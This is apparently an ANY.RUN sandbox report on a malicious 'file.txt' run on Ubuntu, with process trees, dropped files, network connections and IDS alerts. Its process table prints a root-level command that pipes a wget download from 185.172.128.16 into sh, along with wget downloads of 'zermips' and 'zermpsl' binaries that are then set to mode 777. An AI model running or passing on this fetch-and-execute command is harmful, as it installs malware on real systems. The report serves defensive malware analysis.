Malware analysis file.txt Malicious activity | ANY.RUN

Add for printing

File name:	file.txt
Full analysis:	https://app.any.run/tasks/56b5d7cb-8a22-4f8c-b5bf-c0e4f04530fd
Verdict:	Malicious activity
Analysis date:	April 29, 2024, 16:22:06
OS:	Ubuntu 22.04.2
MIME:	text/plain
File info:	ASCII text
MD5:	F9016C7D85CBD00BA560DB0FD3795D61
SHA1:	8F9F94530CC75754EC38550338035DCD16F51CD2
SHA256:	ACA6B742A6DBE903E5CF4A50C6F159335451F6840DB7B3152072DE3254ED0A05
SSDEEP:	6:LPVeAKTj7KDPfWJeAbJTobJ+0TPATVWJv:boAMn0+MAewUh

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
No malicious indicators.
SUSPICIOUS
- Executes commands using command-line interpreter
  - dash (PID: 9266)
  - gnome-terminal-server (PID: 9291)
  - bash (PID: 9309)
  - apt (PID: 9341)
- Uses wget to download content
  - dash (PID: 9266)
  - sh (PID: 9268)
  - bash (PID: 9309)
- Manipulating modules (likely to execute programs on system boot)
  - modprobe (PID: 9276)
  - modprobe (PID: 9272)
  - modprobe (PID: 9325)
  - modprobe (PID: 9331)
- Executes the "rm" command to delete files or directories
  - sh (PID: 9268)
- Reads information about logins, logouts, and login attempts
  - bash (PID: 9309)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

277

Monitored processes

56

Malicious processes

0

Suspicious processes

3

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
9265	/bin/sh -c "\"\$(wget http://185\.172\.128\.16/adi -O- \|sh)\" "	/bin/sh	—	any-guest-agent
User: root Integrity Level: UNKNOWN Exit code: 0
9266	/bin/sh -c "\"\$(wget http://185\.172\.128\.16/adi -O- \|sh)\" "	/usr/bin/dash	—	sh
User: root Integrity Level: UNKNOWN Exit code: 0
9267	wget http://185.172.128.16/adi -O-	/usr/bin/wget	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
9268	sh	/usr/bin/sh	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
9269	wget http://185.172.128.16/zermips	/usr/bin/wget	—	sh
User: root Integrity Level: UNKNOWN Exit code: 0
9270	chmod 777 zermips	/usr/bin/chmod	—	sh
User: root Integrity Level: UNKNOWN Exit code: 0
9271	sh	/usr/bin/dash	—	sh
User: root Integrity Level: UNKNOWN Exit code: 0
9272	/sbin/modprobe -q -- binfmt-464c	/sbin/modprobe	—	u8:0-writeback
User: root Integrity Level: UNKNOWN Exit code: 0
9273	wget http://185.172.128.16/zermpsl	/usr/bin/wget	—	sh
User: root Integrity Level: UNKNOWN Exit code: 0
9274	chmod 777 zermpsl	/usr/bin/chmod	—	sh
User: root Integrity Level: UNKNOWN Exit code: 0

Add for printing

Executable files

0

Suspicious files

0

Text files

0

Unknown types

0

Dropped files

PID	Process	Filename		Type
9269	wget	/tmp/zermips		—
		MD5:—	SHA256:—
9273	wget	/tmp/zermpsl		—
		MD5:—	SHA256:—
9322	wget	/tmp/zermips		—
		MD5:—	SHA256:—
9341	apt	/var/cache/apt/archives/partial/.apt-acquire-privs-test.Y2U9L6		—
		MD5:—	SHA256:—
9341	apt	/var/cache/apt/archives/partial/.apt-acquire-privs-test.6OQ8uf		—
		MD5:—	SHA256:—
9384	http	/var/cache/apt/archives/partial/binfmt-support_2.2.1-2_amd64.deb		—
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

8

TCP/UDP connections

14

DNS requests

13

Threats

5

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	204	185.125.190.98:80	http://connectivity-check.ubuntu.com/	unknown	—	—	unknown
—	—	GET	200	185.172.128.16:80	http://185.172.128.16/adi	unknown	—	—	unknown
—	—	GET	200	185.172.128.16:80	http://185.172.128.16/zermpsl	unknown	—	—	unknown
—	—	GET	200	185.172.128.16:80	http://185.172.128.16/zermips	unknown	—	—	unknown
—	—	GET	200	185.172.128.16:80	http://185.172.128.16/zermips	unknown	—	—	unknown
—	—	GET	200	185.125.190.36:80	http://ie.archive.ubuntu.com/ubuntu/pool/main/b/binfmt-support/binfmt-support_2.2.1-2_amd64.deb	unknown	—	—	unknown
—	—	GET	404	185.125.190.36:80	http://ie.archive.ubuntu.com/ubuntu/pool/universe/q/qemu/qemu-user-static_6.2%2bdfsg-2ubuntu6.15_amd64.deb	unknown	—	—	unknown
—	—	GET	204	91.189.91.96:80	http://connectivity-check.ubuntu.com/	unknown	—	—	unknown

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	185.125.190.98:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	unknown
—	—	185.125.190.97:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	unknown
—	—	185.125.188.54:443	api.snapcraft.io	Canonical Group Limited	GB	unknown
—	—	224.0.0.251:5353	—	—	—	unknown
—	—	185.172.128.16:80	—	OOO Nadym Svyaz Service	RU	unknown
—	—	185.125.188.55:443	api.snapcraft.io	Canonical Group Limited	GB	unknown
—	—	185.125.188.58:443	api.snapcraft.io	Canonical Group Limited	GB	unknown
—	—	185.125.190.39:80	ie.archive.ubuntu.com	Canonical Group Limited	GB	unknown
—	—	185.125.190.36:80	ie.archive.ubuntu.com	Canonical Group Limited	GB	unknown

DNS requests

Domain	IP	Reputation
api.snapcraft.io	185.125.188.54 185.125.188.55 185.125.188.58 185.125.188.59	unknown
60.100.168.192.in-addr.arpa	—	unknown
connectivity-check.ubuntu.com	2001:67c:1562::24 2620:2d:4000:1::96 2620:2d:4002:1::198 2620:2d:4000:1::97 2620:2d:4000:1::2b 2620:2d:4000:1::2a 2620:2d:4000:1::23 2620:2d:4000:1::22 2620:2d:4002:1::196 2620:2d:4002:1::197 2001:67c:1562::23 2620:2d:4000:1::98 91.189.91.96 91.189.91.49 185.125.190.49 91.189.91.48 185.125.190.97 185.125.190.48 91.189.91.97 185.125.190.18 91.189.91.98 185.125.190.98 185.125.190.17 185.125.190.96	unknown
_http._tcp.ie.archive.ubuntu.com	—	unknown
ie.archive.ubuntu.com	185.125.190.39 185.125.190.36 91.189.91.81 91.189.91.82 91.189.91.83 2620:2d:4000:1::16 2620:2d:4002:1::103 2620:2d:4002:1::102 2620:2d:4000:1::19 2620:2d:4002:1::101	unknown

Threats

PID	Process	Class	Message
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Not Suspicious Traffic	ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management
—	—	Not Suspicious Traffic	ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management

Add for printing

No debug info

General Info

file.txt

F9016C7D85CBD00BA560DB0FD3795D61

8F9F94530CC75754EC38550338035DCD16F51CD2

ACA6B742A6DBE903E5CF4A50C6F159335451F6840DB7B3152072DE3254ED0A05

6:LPVeAKTj7KDPfWJeAbJTobJ+0TPATVWJv:boAMn0+MAewUh

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

SUSPICIOUS

Executes commands using command-line interpreter

Uses wget to download content

Manipulating modules (likely to execute programs on system boot)

Executes the "rm" command to delete files or directories

Reads information about logins, logouts, and login attempts

INFO

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings